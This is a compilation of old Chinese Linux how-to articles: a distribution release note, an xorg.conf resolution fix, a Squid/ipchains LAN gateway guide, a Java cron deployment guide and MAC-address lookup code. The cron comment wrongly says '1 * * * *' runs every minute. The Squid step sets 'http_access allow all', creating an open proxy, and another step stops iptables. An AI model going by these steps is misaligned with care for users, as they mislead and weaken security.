lcov 工具会生成一棵完整的 HTML 树,其中包含有内核中代码的每一行以及关于每一行执行了 多少次的数据(如果有的话)。这个工具会量化覆盖率数据并生成关于内核中每一部分和 文件覆盖率的百分比数字。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

发行版:Linux Caixa Mágica 12发布







Caixa Mágica是一份葡萄牙人的Linux发行。
Linux Caixa Mágica is a Portuguese desktop and server distribution based Mandriva Linux. Version 12 is the project's latest release available for both the i586 and x86_64 architectures. Some of the more interesting new features include: 3G access; support for national identity card readers; friendly desktop with 3D effects courtesy of Compiz Fusion; new hardware detection engine, OpenOffice.org 2.3.1 in Portuguese; new server software. The distribution is powered by Linux kernel 2.6.22 and includes X.Org 7.2, the default KDE desktop 3.5.7, GNOME 2.20, GIMP 2.4.3, Synaptic and APT for RPM package management tools, proprietary graphics drivers, and support for many popular media formats and browser plugins. For more information please read the release announcement and visit the product page (both links in Portuguese). Download: CM12_32_final_dvd.iso (4,470MB, MD5), CM12_64_final_dvd.iso (4,413MB, MD5).


(责任编辑:A6)






本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

NVIDIA显卡解决Ubuntu Linux分辨率问题







 

终于解决了显示分辨率的问题


 


问题:分辨率一直比较低,在系统--首选项--屏幕分辨率里边一直没有高一点的分辨率选项,虽然装了nvidia的驱动但是不知道如何使用,也找不到入口。


 


解决:用nvidia-settings命令调出nvidia的设置程序,并将分辨率设置成为1440x900(设置选项里有这个选项)。之后在系统--首选项--屏幕分辨率里面看到了当前的分辨率也是1440x900了。


 


问题:重新进X后分辨率又变成了登录时默认的1280x1024了。并且系统--首选项--屏幕分辨率里也没有1440x900的选项,就是上一步的设置没有保存下来。


 


解决:用sudo gedit /etc/X11/xorg.conf打开配置文件, 在"1280x1024"之前加上了"1440x900"(我实际上是将"1440x1440"改为了"1440x900"),所有的subsection都改了,整体内容如下:


 


 










Section "Screen"

Identifier "Default Screen"
Device "nVidia Corporation GeForce 7300 SE"
Monitor "LAW982"
DefaultDepth 24
Option "AddARGBVisuals" "True"
Option "AddARGBGLXVisuals" "True"
Option "NoLogo" "True"
SubSection "Display"
Depth 1
Modes "1440x900" "1280x1024" "1280x960" "1152x864"
"1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 4
Modes "1440x900" "1280x1024" "1280x960" "1152x864"
"1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 8
Modes "1440x900" "1280x1024" "1280x960" "1152x864"
"1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 15
Modes "1440x900" "1280x1024" "1280x960" "1152x864"
"1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 16
Modes "1440x900" "1280x1024" "1280x960" "1152x864"
"1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 24
Modes "1440x900" "1280x1024" "1280x960" "1152x864"
"1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
EndSection



 


之后保存退出,重新登录X,问题解决(X的登录框界面也是"1440x900"的了 ^_^)。


 


思考:X在选择分辨率时应该是在Modes中选择第一个显示器能支持的分辨率应用,原来的"1440x1440"我的显示器不支持,所以就自动选择了当时的第二项"1280x1024"了。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

搭建简单的Linux操作系统局域网服务器">搭建简单的Linux操作系统局域网服务器







时下拥有两台以上台式机的家庭已经为数不少,退役下来的老机器食之无味,弃之可惜。其实你完全可以利用它作为一台局域网服务器,在晚饭后呼朋喝友,喊上邻居,拉几条网线,搬上笔记本电脑一起对战 CS 和帝国时代,或者利用代理服务器共享上网。跟我来一起动手,搭建一个简单的 Linux 局域网服务器吧。


  Linux 系统对服务器的要求相当低,笔者用赛扬 466CPU、128MB 内存微机作服务器,完全可以为 50 台单机服务,速度很快。如果采用 PⅢ1G 的专业服务器,理论上甚至可以同时满足 250 个用户的需要。


  首先,到 http://www.redhat.com 或者国内的相关网站下载 Redhat Linux 的最新版本,此系统有类似 Windows 操作界面的 X-windows 应用程序,操作比较简单。其次,我们要为服务器配备两块网卡,一块接外部的线路,一块接内部网络。Modem 接入的配置方式与 ADSL 有一些不同,本文以 ADSL 接入为例,其他接入方式可以参考。


  软件的安装比较简单,不过在分区时要注意以下几点:VAR 分区要大一些,因为所有上网用户的文件,及 http 发布网站都在这个分区。最好设定一个 Temp 分区,作为管理员暂存文件使用。选择文件包群时,一定要选择 KDE、Squid 两个群包。在局域网中发布网站,那么就要选择 http。如果你不太懂如何选择,那就全部选择也行,反正影响也不大。


  安装过程中要注意:服务器在安装过程中要求输入网卡的IP地址,这个地方要认真选择,笔者的 ADSL 外部网卡输入的地址是 10.89.127.6,子网掩码是 255.255.255.0,网关是 10.89.127.254。此网卡用于外部接入,并且要求在服务器启动时启用,名称定义为 eth0。


  












 


 


  局域网的拓扑结构图


  内部网关使用的网卡一般使用三类地址,我们可以将它的地址设定为 192.168.0.10,同时将子网的掩码设置为 255.255.255.0,也要求在服务器启动时启用,名称定义为 eth1。两块网的 DNS 服务地址采用同一个地址,例如笔者设定为 202.102.227.68。注意 eth0 和 eth1 两个名称不能混,如果启动后发现不一样可以在服务器桌面的 Server Configuration(服务配置)网络设定中重新设定。


  硬件线路可以采用下面的拓扑结构图,服务器和客户机都接在同一台交换机上。服务器安装完毕后,主要的工作就是对 Squid 代理服务器软件进行配置了。Squid 功能非常强大,但需要修改部分内容才能够正常使用。用高级编辑器打开 /etc/squid/squid.conf 文件,在 1450 行左右,有下面两句话:


  http_access allow localhost


  http_access deny all


  第一句是说明可以让本地通过 http 上网,第二句是禁止其他用户通过本机上网,需要对第二句进行修改,将其改为


  http_access allow all


  配置完成。Squid 代理在服务器启动时默认是关闭的,需要改一下。在服务器桌面图标 Server Configuration(服务配置)/start at boot(启动选择)中,将 Squid 和 Ipchains 两项前边打上星号,这样,服务器启动时就可以同时启动 Squid 和 Ipchains,也可以单独运行命令 setup 找到服务器配置项进行上述配置。


  至此,服务器已经能够提供 WWW 的代理服务,不过需要配置的东西仍然很多。比如聊天功能,要特别设定地址欺骗才能进行。将下面的内容添加到 /etc/rc.local 文件的尾部,然后重新启动服务器。


  echo 1 >/proc/sys/net/ipv4/ip_forward


  /sbin/ipchains -P forward DENY


  /sbin/ipchains -F


  /sbin/ipchains -A forward -s 192.168.0.0/24 -j MASQ -i eth0


  这四句是设定地址欺骗的语句,对 192.168.0.0 至 192.168.0.254 地址范围实行地址欺骗。eth0 是接外部的网卡名称。通过这样的设置,所有的客户机对外就只有一个地址,可以起到防火墙的作用。


  在局域网中发布网站比较容易,我们可以使用 FTP 将已经做好的网页放在 \var\www\http 下面,就可以了。不过我们仍然需要在服务器桌面图标 Server Configuration(服务配置)/start at boot(启动选择)中,将 http 和 wu-ftp 前面打上星号。


  客户机的设定很简单,它的IP地址必须设定在 192.168.0.0 至 192.168.0.254 之间,并且不能设定为与服务器的内部地址相同。我们将客户机的网关设定为服务器的内部网卡的 IP 地址,端口设定为 3128。这是 Squid 代理中默认的值,用户可以在服务器上重新设定。客户机的 DNS 可以直接设置为统一的地址,如 202.102.227.68。因为客户机采用地址欺骗方式上网,所以可以直接使用 ping 命令,ping 通外部的地址。






本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

将Java程序部署到Linux上并让其定期执行



一、环境介绍:


SecureCRT5.1+winXP +WMware+Redhat


注:如果SecureCRT连不上虚拟机上的linux则应注意两个地方,一个是虚拟机上的网卡是否是用的桥接,或是直接连到物理网卡,ip是否与xp机的ip在同一个网段.如果在虚拟机上的linux 能访问外网,但是还不能连是则在linux的终端上输入services iptables stop这后就可以连上了.


 


二、在linux上安装jdk


去java的官网下一个适合linux的jdk,我们这里下一个jdk-6u4-linux-i586.bin,用SecureCRT连上linux,进入我们将要放jdk的目录,输入rz,在弹出的对说框中选择我们下的jdk将其传到linux上去.用ls命令看一下文件是否传上来了,然后给这个文件加上可执行的权限: chmod +x jdk-6u4-linux-i586.bin,然后再执行这个文件:. jdk-6u4-linux-i586.bin这时你会看到jdk的安装信息.当要你输入yes or no时输入yes.安装完成后,我们配置一下java的环境变量,修改/etc/profile文件:vi /etc/proifle 然后按下字母a 进入插入模式,在最后加入如下几行:


 


 










PATH=$PATH:/usr/java/jdk1.6/bin

export PATH

JAVA_HOME=/usr/java/jdk1.6
export JAVA_HOME



 


按esc键后键入:wq回车保存文件.在终端输入java -version回车如果出现如下的信息则说明你安装jdk成功了


 


 










java version "1.6.0_04"

Java(TM) SE Runtime Environment (build 1.6.0_04-b12)
Java HotSpot(TM) Client VM (build 10.0-b19, mixed mode, sharing)



 


三、写一个java程序,认其记录日志:


用eclipse新建一个工程:linuxtest 包结构如下


 


 










--linuxtest/src/com/dao/Appdao.java

--linuxtest/src/com/main/Main.java
--linuxtest/src/log4j.properties



 


这三个文件内容分别如下:


 


 










Appdao:

java:package com.dao;

import org.apache.log4j.Logger;

public class Appdao {
private static final Logger logger=Logger.getLogger(Appdao.class);

public void show(){
logger.info("this is info message");
logger.debug("this is debug message");
logger.error("this is error message");
logger.fatal("this is fatal message");

}

}

Main.java:
package com.main;

import com.dao.Appdao;

public class Main {

public static void main(String[] args) {
Appdao dao=new Appdao();
dao.show();
}


}

log4j.properties

log4j.rootLogger=DEBUG,CONSOLE
log4j.addivity.org.apache=true
log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender
log4j.appender.Threshold=DEBUG
log4j.appender.CONSOLE.Target=System.out
log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout
log4j.appender.CONSOLE.layout.ConversionPattern=[framework] %d
- %c -%-4r [%t] %-5p %c %x - %m%n
#log4j.appender.CONSOLE.layout.ConversionPattern=[start]%d{DATE}
[DATE]%n%p[PRIORITY]%n%x[NDC]%n%t[THREAD] n%c[CATEGORY]%n%m[MESSAGE]%n%n



 


添加必需的jar包:commons-logging-1.1.1.jar log4j-1.2.8.jar


 


四、将程序打成jar包


利用 java的jar命令或其它打包命令将程序打成jar包,并测试其在winxp的dos下用java -jar能否执行成功,执行成功了再将其传到linux上去。具体怎么打包查看我的另一篇文章.我这里将程序打包后得到如下文件:linuxtest.jar 和一个lib文件夹,里面放了程序运行所需的jar包.为了传输方便我又将所有的文件压缩成一个zip包:app.zip利用rz命令将其传到linux上的/webapps/目录下


 


五、编写执行程序的脚本


cd /webapps 进入目录


rz 将app.zip上传到这个目录


unzip app.zip 将文件解压


rm app.zip 删除app.zip


ls 你可以看到如下内容:


lib linuxtest.jar


 


cat>>start.sh新建一个脚本文件,输入如下内容


 


java -jar linuxtest.jar


 


CTRL+D保存文件


chmod +x start.sh 给其加上可执行权限


. start.sh执行脚本运行程序你若看到如下内容则说明你成功了:


 


 










[framework] 2008-02-24 19:44:19,181 - com.dao.Appdao -0 

[main] INFO com.dao.Appdao - this is info message
[framework] 2008-02-24 19:44:19,187 - com.dao.Appdao -6
[main] ERROR com.dao.Appdao - this is error message
[framework] 2008-02-24 19:44:19,188 - com.dao.Appdao -7
[main] FATAL com.dao.Appdao - this is fatal message



 


六、将这个程序加到定时任务中去


crontab -l 查看已有的定时任务,


crontab -e 添加或修改定时任务,加入如下行


 


#每分钟执行一次/webapps/linuxtest/linuxtest.jar


1 * * * * /webapps/linuxtest/start.sh


 


然后esc,键入:wq回车保存文件


 


#后是注释


 


1 * * * * /webapps/linuxtest/start.sh 前面6个位,f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天f6表示要执行的脚本。



--------------------next---------------------

JAVA得到网卡物理地址(Windows和Linux)







 

在我们在写程序的过程中,有些时候需要知道一些电脑的硬件信息,比如我们写一些需要注册的程序的时候,就需要得到某个电脑特定的信息,一般来说,网卡的物理地址是不会重复的,我们正好可以用它来做为我们识别一台电脑的标志.那如何得到网卡的物理地址呢?我们可以借助于ProcessBuilder这个类,这个类是JDK1.5新加的,以前也可以用Runtime.exce这个类.在此我们将演示一下如何在Windows和Linux环境下得到网卡的物理地址.


 


 










/*

* Test.java
*
* Created on 2007-9-27, 9:11:15
*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/

package test2;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author hadeslee
*/
public class Test {

public static String getMACAddress() {

String address = "";
String os = System.getProperty("os.name");
System.out.println(os);
if (os != null) {
if (os.startsWith("Windows")) {
try {
ProcessBuilder pb = new ProcessBuilder("ipconfig", "/all");
Process p = pb.start();
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
if (line.indexOf("Physical Address") != -1) {
int index = line.indexOf(":");
address = line.substring(index + 1);
break;
}
}
br.close();
return address.trim();
} catch (IOException e) {

}
}else if(os.startsWith("Linux")){
try {
ProcessBuilder pb = new ProcessBuilder("ifconfig");
Process p = pb.start();
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=br.readLine())!=null){
int index=line.indexOf("硬件地址");
if(index!=-1){
address=line.substring(index+4);
break;
}
}
br.close();
return address.trim();
} catch (IOException ex) {
Logger.getLogger(Test.class.getName()).log(Level.SEVERE, null, ex);
}

}
}
return address;
}

public static void main(String[] args) {
System.out.println("" + Test.getMACAddress());
}
}



 


我们可以看一下1.5新增的ProcessBuilder这个类,这个类比起以前用Runtime.exec来说,要强大一些,它可以指定一个环境 变量,并指定程序运行时的目录空间,并且也可以得到程序运行时的环境变量.因为ipconfig这个命令已经是system32里面的,所以不需要我们另外再设环境变量或者指定程序的运行时目录空间.我们直接用就可以了,然后得到进程的输出流,就可以分析出我们所需要的东西了.是不是挺简单的呢


 


此程序可以得到windows下和Linux下的网卡地址,不过LINUX要是中文版的,英文版的也一样,只不过把字替换一下就可以了。这样我们的程序就有了两个平台的实现。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------